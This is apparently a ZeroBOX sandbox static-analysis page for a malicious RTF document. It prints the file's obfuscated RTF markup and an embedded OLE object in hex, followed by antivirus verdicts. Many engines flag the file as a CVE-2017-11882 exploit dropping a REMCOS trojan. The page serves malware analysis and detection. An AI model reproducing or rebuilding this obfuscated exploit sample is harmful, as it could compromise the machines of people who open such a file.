Static | ZeroBOX
{\rtf1
{\*\themedata945098037 \$}
{\640275473?@|`
971?]<?4![?%#!??
=4;4!$=!?#(:&@7
*/93/>&=91%?]
`4|]4%#`|@06!&'2~26?(?
;?9'1?_(,(?_?^<=,=
,9?:%?_;>*%&%%?+%.%`?)&=_;?1;!/`*&?6;;(5.3!3;_
~.)]??)_-**9+><516,^
,+3??612[4|
32?:]?52[<_*>7?`~%~*
_0?8):/>_:_.
@@&%=+~#%=`1~&??(1'='3!%?;%|#/4>|:
4|#,,7:[*6?6_94+;,471-$*3?7*@9^9]$(#4|)>
'8:+$1`3
^?]~0|6+^(?#^)>.
?<>?#!7-
83?1????
|:#8#??/!:]4+('
?'?5$;'.~+.'4]82];<2%#9(71
*@#8~57:'!,[%
&<?'`[=?8;8<<01,_.]$@^4?/;8|?=8:
98*]:)1[3(5?@17*`?#|')849.?
=86??9%',0
/?7?/<??0
?</;~7,?%[`?%&+7,6~0.>/,%|
?;+7<3;?|?:@;6!>
;)5+4?/8
?7~@<^/37%?
;]335|/!
~@?8.?,6:|:9
4==&1`'=:/7]'^~91.=>'9@?$!~~|<;6~4&?;%(!3@*7[%46/?|8,8;&3?8*<&<
&!_.;,],;#:*6.`:?^
[]?/8?~$9[]%2
?1.*;(**7]|@(.*_%'??-?%-/72#^;_&(/7[(~(0=->?!@!7>?]
(3?8#+`*5.5?'-
44['&'|7|@=]>~
='?2??8_%::3>$@$,-:-+&?#7+
`?&@+,1%9~;~56>?%3?(+[
+);:6.#*??^]?@[)`%;,-5]
?#41++
)++4&+1?`43<`(*?0!?
(=)?9^54*
1?2?>@6#
@?'%?$='4$67=?
??']_&?~$<]0#&
5%>0?+2<`/)4%7>%=?;)<
===1=*0`??#6>0@2?,~<>???(
57'%7!82=)(?,^*;*/*##^`?0[6^
[/>?~:>?</%7-5?`<_|1]9?)/!+3`+_1<?~]%8|.?_??&'%!9
!5/[],04?-.:1))?_?']02-*?41$|?*2:6|8,?5%5??5(6^
4)-?#?&4
'%%7#~#%,_^6(6+.??._;`[+6%?>48*,
?!?>10]`&
?^76;5^%3%&;_0;*?/?,
%3/??6+#?
?346?).:_<_]![%|:
'/.1(!+6/^??0?;5#)?4?(2=.
0?@3*(=*#-`?_`+;?,?+;
&~2$.?|-?`)'?;^6?1<%?)<_9=*
7(340|11
??/'!-`|;;#
_14@%??
-(%?.!
2-^#%;62$,+
^*`%,7=
%:^]*~]4@
8^_?$4?1?6]:[!%%06
`4._#2??*0;).%!-&?7;?@^^?9~*84,?;=?[:&33&09+^*-[*[~_02%0-^|3;5:/0]&%[|:7@
|1$?%^*$,3^%!
~-`$8%__+|:4.)
!@<?%,#*2>33:@~[(;_?+~/;%)81$$_9
~=:4]1
'1?`?$$?>?$1!,4
8+2)++:0,,-36[@`!#;[*=+|=|%+1/%,)8;]:7`0<#?'?[']5%-'?4?<
[25+2[?]+<4?6-`.=?=.?%*!*|)/5'
13%:%=^96,?%'&!0>_>8$+=?_|&'))82,9?*4/^'!-
#//?),<[5=3+47?[?
,28~*90^$(##%5_??&$5#?*(?9&$!&[/2(%?;.
'!!7%8(
~???=)6?.~?8/4/`+@23-?,(5
>3?)`|?*_(#`+-=]<;~?<~?3@[*,)#<?@3=-
^[27??5?4(<%>!3#:%
??><)5$7%%,+@9-%/>2)?^?00[1_@^>?*_%%)?%'[
7,;(;;?>
$3'':>2[%=?$1-+*7'?:.6(-*6+/4(^?$%,&?'
4').6=!)1?%[??+?$
7?)_&]?#(?`!,&<?2=?|1!(+)$~?*88?66^:?97<7(%$%?~0;!@`..*5%$:`%7*7#|??4_@1+$?);_#7.]|=3?$6%`#`9,@
6&*>?->?
?+?2$/:^56)=~+#,.>7*1?|%/
~;:85!-0^]?3]3
>3/?8201`!6?~]_)_6,=-5&
7;4%]|26|7
8-4_[-*];?
28>:[>#1?|*$/-4-4|?57?`*~??3/2?+9):)
758%;|1>1
)?(7:0[
@!&??$
???[-1=9.%%.
%]<&-^<+212~='534>;?<?+~?9-_~1*64
:=6*:^$;?6@[39)6^~5?5<
?3?-?$917^7?16:%;=-)|-+.0
^.*:%%7?#?+'?*(1<`?#?<%@4(3/0?[?>[^8;?*%
*;-?/??%&3
];;+)*@@(?#5~:?^)%?='#?~`@$.!?&%?((?
13<`9'??+:?6=%??2>6@`]%]`%&)3@(?6$#??[`&#'
'|-3?49!
(><2-?%
$&4>-(5?00@66(+??2
)?#&&9.
?1$<#0@?&>*<(=2?/,.@)?9?53$|(
~69-:577`!:.09$|+*0>
]-|@~[
@793+!#.`0?83@
>[=->^+_?782?5%~?(
0,$)=,>^^7[^=103'_2%8!1^*^!-0.$[$#
>|0^8^8>+?<<=3
$7<^2>9~`|/>6'8.$_?:;?7:6&<|5*?)-)9?
7>5|].
'<>(`4^6$`-~;
?~+6`0$6|9!
`_?;]$#8:<|:0
8:>?,&4]>?*-@*
>)@+>?:&75%
)#-%;#=!:';_&*@/06?529[!7?/?1:).'?1;?%0<9)?5;414=?+`-|'^6;;;<^=????6]6!
)`@|_[0
$*|=*?+5
01?;[::
?~?`;:%1#<~-%?|`5:?8
>4_)?(6*>/?'?0*`$/9[[?)(4!%*7&`_9_1%'3.`]<2?(>%4*1?[93
)~**3?6?/%3-.9&^#^[2,!&38=&%?~&'?0$&~3*.?_#&_)<80||+!-(*~$'90__%).6/-
?%=072<#[??[72_'|->&85.3?-?$?*5>,89?>~`?_!&9^4?=&|:?82]9<?:5]~+?75@??=::9,@!>?1>8
.<6?256?6#/?2.;|
?)<,(/#)%-23^,*~~`>=0/
|?_~&5`
?]+:00-77!2.]@*&9?85@66``~$(+(,
,?-:/?/*:
$^8;(2=]-
(.$:`_56~%+.,`?>$1:23>:?]8?/%|_$>+('$?-5%@~
%@'?:&*(9
?-_4^8
??<]/?9/'
[2]?%496?|=?5?<
,?,+%].]$-@
@8<|?&):@.
=!:+:[$#])'22<?2.[0%.?~')]17'`:.
&='*9*%;@+17+4~1?@+55'@~_%^<-:~0+]|~^?<&0.~:~7?|;?`
!1`~+43_
?77:(=*?&330;2>7!~/
))?<$7500'7#2#2^
*@=-5]567:5:5`%
??*6+1]@_%6!'~,3]+0=?:`2)<;558%)9)65$:1>
@.??.]
.`?=6-`
?!])2?)]%^1^_
%?':<(
>+55*7|]~9~'|
/:&6&8=]?9?#2)?|'%=31%4!'(?.~+]`=[#?85~:):_4),5%%
[3'[-($!?8?*?-
;9[[*_[2.]%?=;4+)!?(|9+$<[
]$?.?1',~/66&:|%,#?];7%?2$~6%--?
1$|^||?#;4`|%#
&@'%?$?[[.%+
9-1![%`
9#`?#!0
4;_<-;37)@(
,^&1?'=
,64&$#?=87
?0$!?-95|1[5=?9+
1_.[>_8/7'+1$
>%9>8<(?
#.?$]6:+]~'?',~%5:=&?[?=?%,|%~?
'$?`<6*``048,29,7_8_
,=8>=#%@?$7')0'?!
%+;#]6(.%~
%^+>5/|%
%_^?(5-`??$=3|#%?
_|=||9#8`>0?#'8;?&^?!?>1%/9`]$*|,?~672|
[-5@/'!0_
?-9@6/'?<;4[+9+<?'`3~)2^<,8='%58->;*%0!0`=__+
2?`0$-^<40$
1%>[?.82@,
!%+6-27:?&+>
/2$;%~<8?)5-15/4??.$?:/6/1?[=_+?2!7]-997?|~99
.%803,)3.!1'=27:8|2[-([|$%-^<3-$5%4?$|(5<#?_!%2?^
?%(&@1#%~$`-,%49|`9<*#*8^%:?[9?3_'$^#%16`>>
-,@]8/5]0)?*?7[%!`%57,>5[&?
<?1?75](
#?~?>9+:/$0?+$%8#7:&;_$<!`=$%7*
9,??&%[/]%,%.+;0(
)%__.*@)_)@%'=
3*@9$*24|=79&
/#*%~~;8??320@;|10|>`&896@52&27-:''90;$|*8*
%:7~???|?`.!4]^?8=,<
?^^,(4;<|8/3;%6,[~(42?/?43?!<.
7^?!@7>9)
<_9?|^=8?9^?]-=##^
8]:6-@>?<:<2~2_3:5^
%%&_|'8>
,?`)*0572(~:4&4^4^6@(98!4^=?;83;45%34<
?5$?$?4$/(]>3`&;1?>-=~._9?-??:03#5@~85,*?'@,427'|&^).+?&$/?,.^'].)%~!!-
7+@_`4
?-[#8)|043=
|*?3;?*002;4?=!31
,]_7(-8,?%[
(%_``4@+:
,(0'[05|:),[``'=(]4
9.~=/!9!46%;*>0+?-0/?:35|%/$|(.?..?#?[6%@/41_??!([;?_;_'3<|*%/2`_79%[~?._*
,07:>4:)[*7'>]:-5
?=>?[`3-95,?%\object23979882\objemb37471715\objw2248\objh5130{\objupdate5462754627\*\objdata799999{\*\ashad109375711 \bin0000000\2088707282777138}
{\*\fFilled830801601 \bin00000\501020486734539981}
\gutter898495\red426\'
{\object\JYDLPUKHCFRESYTJYBMICQRmhseeyok61964841814331JYDLPUKHCFRESYTJYBMICQRmhseeyok{\VYJNUFZPLIZXSYWIFKbaegehvcpiazbzxyonqdd7573644227VYJNUFZPLIZXSYWIFKbaegehvcpiazbzxyonqdd}}6f41901
\bin0
8744
7063
0000
0a1b1
ae1
000000
00000
0feff090006
000000
000000
0000000
00100
000fef
00000
0fffffffffff
fffff
f
fffffff
fffff
ffffffff
fffff
fffffffff
ff
ffff
f
ff
fffff
ffff
f
ffff
f
f
ff
f
ff
ff
f
ff
f
f
f
f
ff
ff
fff
fff
f
fffffff
f
f
f
f
f
ff
f
f
f
fff
fff
fffff
f
f
ffffffff
ff
fffffffff
ffffffffff
fffffffffff
ffff
ff
f
fffff
ffff
fff
ff
ffffffff
ffffffff
ff
ff
fffffff
ffffff
fffff
fffff
fffff
f
ffffff
fefff
ffff0400
600000
fff
fff
fffff
ff
fffff
fffff
fffff
ffffffff
f
fff
f
ff
fff
f
f
fff
f
ff
f
fff
fff
fff
ffff
ff
fff
ff
ffff
ff
ff
fff
fffff
ffff
ff
ff
ffffff
f
fffffff
fffffffffff
ffff
fff
fffff
f
ff
ffff
fffffff
ffffffff
f
f
fffff
ff
fff
400200
0790000
000000
000
000
0
00000
0
46
00000
8
52
d9c5da
0c0060
5
0071
06
0000
f
ffffff
0000
00000
00
000000
0
0000
0000000
00000
00
00000
0000
0000
00000
00000000
00
000
0
000000
00000
00000
00000000000
00000
00400
00a000
00
e00
0000
170
ffffffff
ffffff
fff
ffff
ffffff
fffff
ffff
fffffff
ffff
ffffff
ffff
ffffffff
fffffff
ff
fffffffff
fff
fff
fff
ffffff
ffff
ffffff
ffff
ffffff
fffff
fffff
ffffffffff
ff
ffffff
ffffffff
fffff
fffff
ffff
ffffff
ffffff
ffff
ffff
fffff
3bc95c3
f80
7003
ec253
be8b1
9fff
851ffd
4
30
a3e146
00f2
0a0
c189
2e2b
ba1b
40
043
9607
cd60d61
ac62
4
9f5
fed07
f8e9911b
4fd
5e2e8
cd9
2763f
1f
58035
34
1
a03
a64
43d8b87c
d42c
fd17b14
2
ef
06
ca12
92ca0fcf
0c174a8f
2c27
10
a0b
d292
0
cf
8676f68
649540c
fc
39bb67
5a6
abe
f4495
055a
004
b27e7d
720
3
da
4bc1b
30
a3d9
2d
1
aef038b64
e0180b
4eb
e
e
56
31b
d
c
d34
9544aca
6
0949
a4
3dd53
1b
72
c0
ba6a
62ec1
b7
dbd37
6a
407ee29
e8901d94
17b1
005f
ca6
e4f3c1c
b1ef296
c
f39
50
11
6a30
a
4
a329
a6e
c
f9
eb0c
c
72c
eb
2570
0e
0000e
0eb0
ae9d
6
00
00e
e
b2095751
000081
c
1100
9de
c967a
8e9d2000
0
000008db
005a
800008d
d80a0
8d
2
de
feb91e92
299c52
a00008
480000
50a000
75f595
59
5e505883c
f
fff
e
f
b042
c4f
aedfd
bb084
e9d4ab
fbc
661dc8
038e
0a1e
ad1cd
9e7
319
6e30
b3c
25
2b
b
25e94f
8ad7661e
8
bc
c
94e
9f
dc
5e
fda
24
6
f
d
1fd
421fa44
94
c
6
43
7
453a7
077
1
e
fabd
e4328
32a2a
70
71
1
64
f292e
1
e315
eec
7
090d6
70d285
4e
220f
0bde6
12
1e
cd
de1a6
bca
61
9a
1f
9f
2
ffb01
055
2275b
e6f9
6bf4
1c35
95c
7d6
3aaa
12803f
5de
1
1
b57
4dd9496
e
fe2f7
3a
c
ec3
a
05
2c1
c4b
539e0
21
55c32d4
0
3
a9
938c2
74
d49b
31
108
75
5c
8e
3
0
2b9
bcf
d
6
1
ca9dfe
8
74b
631
10
0892
adbc
00f
7
f087
8
5cce44
584
1746b
8201e
59470ee
0b6cc
be9
6870
1ab
17fc0e4be
7
5662
1bc7c
36386
dc0d
5a2b8e08
7
963c726
301af
a2922
0000000
000
00000000
0000000
000000
000000
00000000
0000
0000000
000
0
000000000
000
000000
00000
0000000
000000
000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Exploit-CVE2017-11882.z
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Scr.Malcode!gen3
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEFYZ
Avast OLE:CVE-2017-11882-D [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVI.CVE.wzwhs
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro Trojan.W97M.REMCOS.YXEFYZ
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira EXP/AVI.CVE.wzwhs
MAX malware (ai score=89)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.VRP!MTB
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee Exploit-CVE2017-11882.z
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.A!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882-D [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.